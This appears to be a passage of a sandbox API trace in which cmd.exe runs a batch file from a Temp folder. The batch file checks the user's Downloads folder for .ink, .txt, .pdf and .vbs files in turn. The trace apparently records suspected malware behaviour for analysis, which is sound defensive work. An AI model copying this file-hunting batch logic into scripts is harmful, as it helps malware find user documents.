(in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.976] GetProcessHeap () returned 0x4e0000 [0039.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0039.976] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.976] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0039.977] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1eab, lpOverlapped=0x0) returned 1 [0039.977] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0039.977] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\nan\r\n") returned 2 [0039.977] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.977] GetFileType (hFile=0x74) returned 0x1 [0039.977] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.977] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0039.977] GetProcessHeap () returned 0x4e0000 [0039.977] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.977] GetProcessHeap () returned 0x4e0000 [0039.977] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.977] _tell (_FileHandle=3) returned 1924 [0039.977] _close (_FileHandle=3) returned 0 [0039.977] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.977] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.978] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.978] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0039.978] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.978] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0039.978] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ea9, lpOverlapped=0x0) returned 1 [0039.978] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0039.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\nan\r\n") returned 25 [0039.978] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.978] GetFileType (hFile=0x74) returned 0x1 [0039.978] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.978] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0039.978] GetProcessHeap () returned 0x4e0000 [0039.978] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.978] GetProcessHeap () returned 0x4e0000 [0039.978] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.979] _tell (_FileHandle=3) returned 1949 [0039.979] _close (_FileHandle=3) returned 0 [0039.980] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2d [0039.980] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.980] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.980] GetLastError () returned 0x2 [0039.980] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.980] GetLastError () returned 0x6 [0039.980] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.980] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.980] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.980] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.981] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.981] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.981] SetConsoleInputExeNameW () returned 0x1 [0039.981] GetConsoleOutputCP () returned 0x1b5 [0039.981] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.981] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.981] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.981] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.981] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.981] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.982] GetProcessHeap () returned 0x4e0000 [0039.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0039.982] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.982] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0039.982] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e90, lpOverlapped=0x0) returned 1 [0039.983] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0039.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\nan\r\n") returned 2 [0039.983] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.983] GetFileType (hFile=0x74) returned 0x1 [0039.983] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.983] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0039.983] GetProcessHeap () returned 0x4e0000 [0039.983] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.983] GetProcessHeap () returned 0x4e0000 [0039.983] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.983] _tell (_FileHandle=3) returned 1951 [0039.983] _close (_FileHandle=3) returned 0 [0039.983] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.983] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.983] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.983] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0039.984] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.984] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0039.984] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e8e, lpOverlapped=0x0) returned 1 [0039.984] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0039.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\nan\r\n") returned 25 [0039.984] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.984] GetFileType (hFile=0x74) returned 0x1 [0039.984] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.984] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0039.984] GetProcessHeap () returned 0x4e0000 [0039.984] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.984] GetProcessHeap () returned 0x4e0000 [0039.984] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.985] _tell (_FileHandle=3) returned 1976 [0039.985] _close (_FileHandle=3) returned 0 [0039.985] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2d [0039.985] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.986] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.986] GetLastError () returned 0x2 [0039.986] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.986] GetLastError () returned 0x6 [0039.986] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.986] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.986] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.986] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.986] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.986] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.987] SetConsoleInputExeNameW () returned 0x1 [0039.987] GetConsoleOutputCP () returned 0x1b5 [0039.987] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.987] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.987] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.987] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.987] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.987] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0039.987] GetProcessHeap () returned 0x4e0000 [0039.987] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.987] GetProcessHeap () returned 0x4e0000 [0039.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.988] GetProcessHeap () returned 0x4e0000 [0039.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0039.988] GetProcessHeap () returned 0x4e0000 [0039.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.988] GetProcessHeap () returned 0x4e0000 [0039.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.988] GetProcessHeap () returned 0x4e0000 [0039.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.988] GetProcessHeap () returned 0x4e0000 [0039.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0039.988] GetProcessHeap () returned 0x4e0000 [0039.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.988] GetProcessHeap () returned 0x4e0000 [0039.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.988] GetProcessHeap () returned 0x4e0000 [0039.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0039.988] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.988] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0039.988] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e75, lpOverlapped=0x0) returned 1 [0039.988] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0039.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\nan\r\n") returned 2 [0039.989] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.989] GetFileType (hFile=0x74) returned 0x1 [0039.989] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.989] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0039.989] GetProcessHeap () returned 0x4e0000 [0039.989] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.989] GetProcessHeap () returned 0x4e0000 [0039.989] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.989] _tell (_FileHandle=3) returned 1978 [0039.989] _close (_FileHandle=3) returned 0 [0039.989] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.989] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.990] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0039.990] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0039.990] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e73, lpOverlapped=0x0) returned 1 [0039.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0039.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\nan\r\n") returned 25 [0039.990] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.990] GetFileType (hFile=0x74) returned 0x1 [0039.990] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0039.990] GetProcessHeap () returned 0x4e0000 [0039.990] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.990] GetProcessHeap () returned 0x4e0000 [0039.990] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.991] _tell (_FileHandle=3) returned 2003 [0039.991] _close (_FileHandle=3) returned 0 [0039.992] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2d [0039.992] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.992] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.992] GetLastError () returned 0x2 [0039.992] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.992] GetLastError () returned 0x6 [0039.992] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.992] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.992] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.992] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.993] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.993] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.993] SetConsoleInputExeNameW () returned 0x1 [0039.993] GetConsoleOutputCP () returned 0x1b5 [0039.993] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.993] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.993] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.993] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.994] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.994] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.994] GetProcessHeap () returned 0x4e0000 [0039.994] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0039.994] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.994] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0039.995] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e5a, lpOverlapped=0x0) returned 1 [0039.995] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0039.995] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\nan\r\n") returned 25 [0039.995] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.995] GetFileType (hFile=0x74) returned 0x1 [0039.995] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.995] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0039.995] GetProcessHeap () returned 0x4e0000 [0039.995] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.995] GetProcessHeap () returned 0x4e0000 [0039.995] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.996] _tell (_FileHandle=3) returned 2028 [0039.996] _close (_FileHandle=3) returned 0 [0039.996] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2d [0039.996] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.996] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.997] GetLastError () returned 0x2 [0039.997] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.997] GetLastError () returned 0x6 [0039.997] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.997] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.997] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.997] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.997] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.997] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.998] SetConsoleInputExeNameW () returned 0x1 [0039.998] GetConsoleOutputCP () returned 0x1b5 [0039.998] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.998] SetThreadUILanguage (LangId=0x0) returned 0x409 